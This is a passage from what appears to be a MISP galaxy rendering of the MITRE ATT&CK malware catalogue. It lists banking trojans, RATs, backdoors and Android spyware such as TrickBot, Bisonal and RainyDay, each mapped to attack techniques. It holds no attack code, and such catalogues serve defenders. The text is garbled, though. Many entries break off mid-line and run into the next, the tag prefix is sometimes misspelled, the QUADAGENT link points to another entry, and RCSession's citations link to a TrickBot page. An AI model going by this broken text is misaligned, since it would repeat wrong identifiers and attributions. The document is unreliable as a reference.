</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0258">https://attack.mitre.org/software/S0258</a></td>
</tr>
</tbody>
</table>

Javali - S0528

[Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: misp-galaxy:mitre-malware="Javali - S0528"

Javali - S0528 is also known as:

- Javali

View relationships graph

Javali - S0528 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-
Table 7020. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0528">https://attack.mitre.org/software/S0528</a></td>
</tr>
</tbody>
</table>

**RCSAndroid - S0295**

[RCSAndroid](https://attack.mitre.org/software/S0295) is Android malware. (Citation: TrendMicro-RCSAndroid)

The tag is: *misp-galaxy:mitre-malware="RCSAndroid - S0295"

RCSAndroid - S0295 is also known as:

- RCSAndroid

**View relationships graph**

RCSAndroid - S0295 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

**Table 7021. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0295">https://attack.mitre.org/software/S0295</a></td>
</tr>
</tbody>
</table>

**InnaputRAT - S0259**

[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim's machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)

The tag is: **misp-galaxy:mitre-malware="InnaputRAT - S0259"**

InnaputRAT - S0259 is also known as:

• InnaputRAT

**View relationships graph**

InnaputRAT - S0259 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-
CarbonSteal - S0529

[CarbonSteal](https://attack.mitre.org/software/S0529) is one of a family of four surveillanceware tools that share a common C2 infrastructure. [CarbonSteal](https://attack.mitre.org/software/S0529) primarily deals with audio surveillance. (Citation: Lookout Uyghur Campaign)

The tag is: `misg-galaxy:mitre-malware="CarbonSteal - S0529"`

CarbonSteal - S0529 is also known as:

- CarbonSteal

View relationships graph

CarbonSteal - S0529 has relationships with:

- uses: `misg-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1575" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

### Table 7023. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0529">https://attack.mitre.org/software/S0529</a></td>
</tr>
</tbody>
</table>

**P8RAT - S0626**

[P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)

The tag is: `misp-galaxy:mitre-malware="P8RAT - S0626"`
P8RAT - S0626 is also known as:

- P8RAT
- HEAVYPOT
- GreetCake

View relationships graph

P8RAT - S0626 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 7024. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0626">https://attack.mitre.org/software/S0626</a></td>
</tr>
</tbody>
</table>

TrickBot - S0266

[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of "big game hunting" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)

The tag is: misp-galaxy:mitre-malware="TrickBot - S0266"

TrickBot - S0266 is also known as:

- TrickBot
- Totbrick
- TSPY_TRICKLOAD
TrickBot - S0266 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"

Table 7025. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0266">https://attack.mitre.org/software/S0266</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/wizard-spider-adversary-update/">https://www.crowdstrike.com/blog/wizard-spider-adversary-update/</a></td>
</tr>
<tr>
<td><a href="https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre">https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre</a></td>
</tr>
</tbody>
</table>
RCSession - S0662

[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor). [Citation: Secureworks BRONZE PRESIDENT December 2019](https://www.secureworks.com/pulse/1242006) [Citation: Trend Micro Iron Tiger April 2021](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload) [Citation: Trend Micro DRBControl February 2020](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload)

The tag is: `misp-galaxy:mitre-malware="RCSession - S0662"`

RCSession - S0662 is also known as:

- RCSession

View relationships graph

RCSession - S0662 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"` with estimative-
FELIXROOT - S0267

[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)

The tag is: `misp-galaxy:mitre-malware="FELIXROOT - S0267"`

FELIXROOT - S0267 is also known as:

- FELIXROOT
- GreyEnergy mini
View relationships graph

FELIXROOT - S0267 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 7027. Table References
**Keydnap - S0276**

This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).

The tag is: `misp-galaxy:mitre-malware="Keydnap - S0276"`

Keydnap - S0276 is also known as:

- Keydnap
- OSX/Keydnap

View relationships graph

Keydnap - S0276 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"` with estimative-language:likelihood-probability="almost-certain"
SodaMaster - S0627

[SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)

The tag is: `misp-galaxy:mitre-malware="SodaMaster - S0627"`

SodaMaster - S0627 is also known as:

- SodaMaster
- DARKTOWN
- dfls
- DelfsCake

View relationships graph

SodaMaster - S0627 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7029. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0627">https://attack.mitre.org/software/S0627</a></td>
</tr>
</tbody>
</table>

Zox - S0672

[Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)

The tag is: misp-galaxy:mitre-malware="Zox - S0672"

Zox - S0672 is also known as:

- Zox
- Gresim
- ZoxRPC
- ZoxPNG

View relationships graph

Zox - S0672 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
OBAD - S0286

OBAD is an Android malware family. (Citation: TrendMicro-Obad)

The tag is: misp-galaxy:mitre-malware="OBAD - S0286"

View relationships graph

OBAD - S0286 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

FYAnti - S0628

[FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262). (Citation: Securelist APT10 March 2021)

The tag is: misp-galaxy:mitre-malware="FYAnti - S0628"

FYAnti - S0628 is also known as:

- FYAnti
- DILLJUICE stage2

View relationships graph

FYAnti - S0628 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7032. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0628">https://attack.mitre.org/software/S0628</a></td>
</tr>
</tbody>
</table>

**TrailBlazer - S0682**

[TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)

The tag is: *misp-galaxy:mitre-malware="TrailBlazer - S0682"*

TrailBlazer - S0682 is also known as:

- TrailBlazer

View relationships graph

TrailBlazer - S0682 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 7033. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Bisonal - S0268

[Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010. (Citation: Unit 42 Bisonal July 2018) (Citation: Talos Bisonal Mar 2020)

The tag is: `misp-galaxy:mitre-malware="Bisonal - S0268"`

Bisonal - S0268 is also known as:

- Bisonal

View relationships graph

Bisonal - S0268 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Standard Encoding"` - T1132.001 with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location"` - T1036.005 with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Symmetric Cryptography"` - T1573.001 with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service"` - T1543.003 with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Spearphishing Attachment"` - T1566.001 with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery"` - T1082 with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Native API"` - T1106 with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System"` - T1005 with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information"` - T1140 with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
Table 7034. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0268">https://attack.mitre.org/software/S0268</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html">https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html</a></td>
</tr>
</tbody>
</table>

**QUADAGENT - S0269**

[QUADAGENT](https://attack.mitre.org/software/S0268) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)

The tag is: *misp-galaxy:mitre-malware="QUADAGENT - S0269"*

QUADAGENT - S0269 is also known as:

- QUADAGENT

View relationships graph

QUADAGENT - S0269 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 7035. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0269">https://attack.mitre.org/software/S0269</a></td>
</tr>
</tbody>
</table>

RainyDay - S0629

[RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)

The tag is: `misp-galaxy:mitre-malware="RainyDay - S0629"`

RainyDay - S0629 is also known as:

- RainyDay

View relationships graph

RainyDay - S0629 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 7036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0629">https://attack.mitre.org/software/S0629</a></td>
</tr>
</tbody>
</table>

**FruitFly - S0277**

FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).

